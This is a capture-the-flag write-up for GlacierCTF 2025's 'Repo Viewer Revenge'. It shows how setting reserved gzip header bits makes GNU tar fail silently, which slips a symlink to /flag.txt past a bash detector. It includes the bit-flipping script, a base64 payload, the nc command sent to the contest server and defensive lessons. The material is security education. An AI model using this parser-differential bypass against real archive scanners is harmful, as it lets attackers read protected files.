Skip to content

SECURE_CONNECTION//PRESS[CTRL+J]FOR ROOT ACCESS

BACK TO INTEL
MiscHard

Repo Viewer Revenge

CTF writeup for Repo Viewer Revenge from Glacier

//GlacierCTF 2025 – Repo Viewer Revenge Writeup

>1. Challenge Overview

Repo Viewer Revenge is a misc/pwn challenge that simulates a “secure” paste service. Competitors upload a gzipped tar via nc challs.glacierctf.com 13379; the service refuses any archive whose README.md entry is a symlink or hardlink (to stop /flag.txt leaks) before running a custom Rust binary (repo-viewer) to extract and print /tmp/README.md. The goal is to craft an archive that bypasses the bash-based detector but still causes repo-viewer to extract a README.md symlink that points at /flag.txt, ultimately printing the flag.

>2. Local Files & Initial Recon

The Docker image provides two critical files:

  • challenge: the bash wrapper that enforces the anti-symlink check before launching repo-viewer.

  • repo-viewer: the Rust binary (async-compression + tokio-tar) that untars stdin and prints the README contents.

challenge is short enough to reproduce completely:

bash

#!/bin/bash

  

set -euo pipefail

  

echo "Welcome to the improved secure Repo Viewer (100% memory safe)!"

echo "Submit a .tar to view its README"

echo "(tar -czf - <directory> | base64; echo @) | wl-copy"

echo "Confirm with extra newline after base64 data."

echo "Input base64-encoded tar file:"

read -d @ b64data

  

ls

  

if [ "$(printf %s "${b64data}" | base64 -d | tar -tvzf - | grep '^[lh]' | wc -l)" -gt 0 ]; then

    echo "Symlink detected, aborting!"

    exit 1

fi

  

printf %s "${b64data}" | base64 -d | /app/repo-viewer

  

echo "Goodbye!"

Key takeaways:

  1. GNU tar lists entries verbosely; lines beginning with l or h (symlinks/hardlinks) trigger an abort.

  2. set -euo pipefail means any failure in tar -tvzf or the grep pipeline short-circuits the detection logic.

  3. The detector only inspects stdout from tar; if tar produces no listing lines, grep sees nothing and the upload is allowed.

repo-viewer was treated as a black box binary, but tracing it locally showed that it simply extracts entries using tokio-tar and writes README.md to /tmp/README.md regardless of whether it is a symlink.

>3. Experiment Log

I kept every notable experiment because the final exploit was informed by these failures:

| Attempt | Command/Code Snippet | Result |

| --- | --- | --- |

| Multi-member gzip archives | cat safe_readme.tar.gz safe_readme.tar.gz > multi_combo_plain.gz then tar -tvzf multi_combo_plain.gz | Detector still sees first member’s listing → fails |

| Truncated or multi-volume tar | Used helper scripts (mv_archive.*, volhdr.*) to craft “continued” headers | GNU tar still prints the l entry before crashing |

| CRC corruption | gzip -c exploit.tar > exploit.tar.gz and then flipped last 4 bytes | Tar prints listing then errors, so grep catches the l |

| Reserved gzip flags (final idea) | Python snippet below sets FLG bits 5-7 | GNU tar aborts before listing entries, detector prints nothing |

Although only the final technique is needed to reproduce the exploit, listing the failed avenues demonstrates that every major code path was explored.

>4. Final Exploit Development

The winning idea abuses the gzip header. The gzip spec reserves FLG bits 5–7; GNU tar treats any stream with those bits set as “encrypted” and terminates before reading the tar payload. async-compression (used by repo-viewer) ignores those bits and happily decompresses the data. By flipping those bits we can make tar refuse the archive while repo-viewer continues.

4.1 Craft README symlink tarball

Everything happens inside /home/noigel/CTF/Glacier/misc/repo_revenge/repo-viewer-revenge:

bash

mkdir -p exploit

ln -sf /flag.txt exploit/README.md

# confirm the symlink points to the real file

ls -l exploit

# optional sanity check of the dummy flag inside the container

cat /flag.txt

  

tar -cvf exploit.tar -C exploit README.md

gzip -c exploit.tar > exploit.tar.gz

4.2 Flip the gzip reserved bits (critical step)

bash

python3 - <<'PY'

from pathlib import Path

payload = Path("exploit.tar.gz").read_bytes()

data = bytearray(payload)

# FLG byte is index 3; set bits 5-7 (0xE0)

data[3] |= 0xE0

Path("exploit_reserved.tar.gz").write_bytes(data)

PY

Now GNU tar refuses to process the file:

bash

tar -tvzf exploit_reserved.tar.gz | grep '^[lh]'

# Output:

# gzip: stdin is encrypted -- not supported

# tar: Child returned status 1

# tar: Error is not recoverable: exiting now

Because the grep receives zero lines, the detector later prints clean (I verified with set -euo pipefail; ...).

4.3 Verify repo-viewer still honors the symlink

bash

rm -f /tmp/README.md

cat exploit_reserved.tar.gz | ./repo-viewer

# Output:

# Found entry: README.md

# Extracted README.md

# --- README.md contents ---

# gctf{W3_B0tH_Kn0w_Y0u_W!LL_TrY_To_submiT_ThE_DuMMY_Fl4G}

Locally the symlink resolved to /flag.txt, proving the bypass works end-to-end.

4.4 Generate the payload expected by the remote service

bash

base64 -w0 exploit_reserved.tar.gz > exploit_reserved.b64

cat exploit_reserved.b64

# H4sI6CkzI2kAA2V4cGxvaXQudGFyAO3OMQ6CQBSE4XeUPQHsc1leTSKlDTcgUQkJSAJr4vHFgoTG...

The full base64 blob (line-wrapped for readability) is:

H4sI6CkzI2kAA2V4cGxvaXQudGFyAO3OMQ6CQBSE4XeUPQHsc1leTSKlDTcgUQkJSAJr4vHFgoTG WGH1f80UM8U0dXW+1Nl4leP4lZl9Ui36fW5Eo6ovgxZRxWsIVog75feh7bL0Sgeeey6pnZ2Tx9R3 t+H77lcPAAAAAAAAAAAAAAAAAMAfvQG6yMweACgAAA==

>5. Remote Exploitation (All Commands Included)

With the payload ready, exploitation was just a single printf piped into nc (remember the blank line before @ per the challenge instructions):

bash

printf 'H4sI6CkzI2kAA2V4cGxvaXQudGFyAO3OMQ6CQBSE4XeUPQHsc1leTSKlDTcgUQkJSAJr4vHFgoTGWGH1f80UM8U0dXW+1Nl4leP4lZl9Ui36fW5Eo6ovgxZRxWsIVog75feh7bL0Sgeeey6pnZ2Tx9R3t+H77lcPAAAAAAAAAAAAAAAAAMAfvQG6yMweACgAAA==\n\n@' | nc challs.glacierctf.com 13379

Server output (trimmed for clarity):

Welcome to the improved secure Repo Viewer (100% memory safe)! ... app bin ... gzip: stdin is encrypted -- not supported tar: Child returned status 1 Found entry: README.md Extracted README.md --- README.md contents --- gctf{Ru5t_m4k3s_3v3Ry7h1ng_5eCuR3_71a9f2ed8} Goodbye!

The detector prints the “encrypted” warning but never says “Symlink detected,” because it never saw an l prefix line.

>6. Final Flag

gctf{Ru5t_m4k3s_3v3Ry7h1ng_5eCuR3_71a9f2ed8}

>7. Lessons Learned / Key Takeaways

  • Tar detection isn’t meaningful if decompression fails first. Early failure conditions need to be treated as “suspicious,” not “clean.”

  • Gzip header validation matters. Ignoring reserved bits in decompression libraries can re-open old classes of attacks.

  • Set -e is a double-edged sword. It simplified the detector but also made the failure path skip the grep entirely, letting the malicious archive through.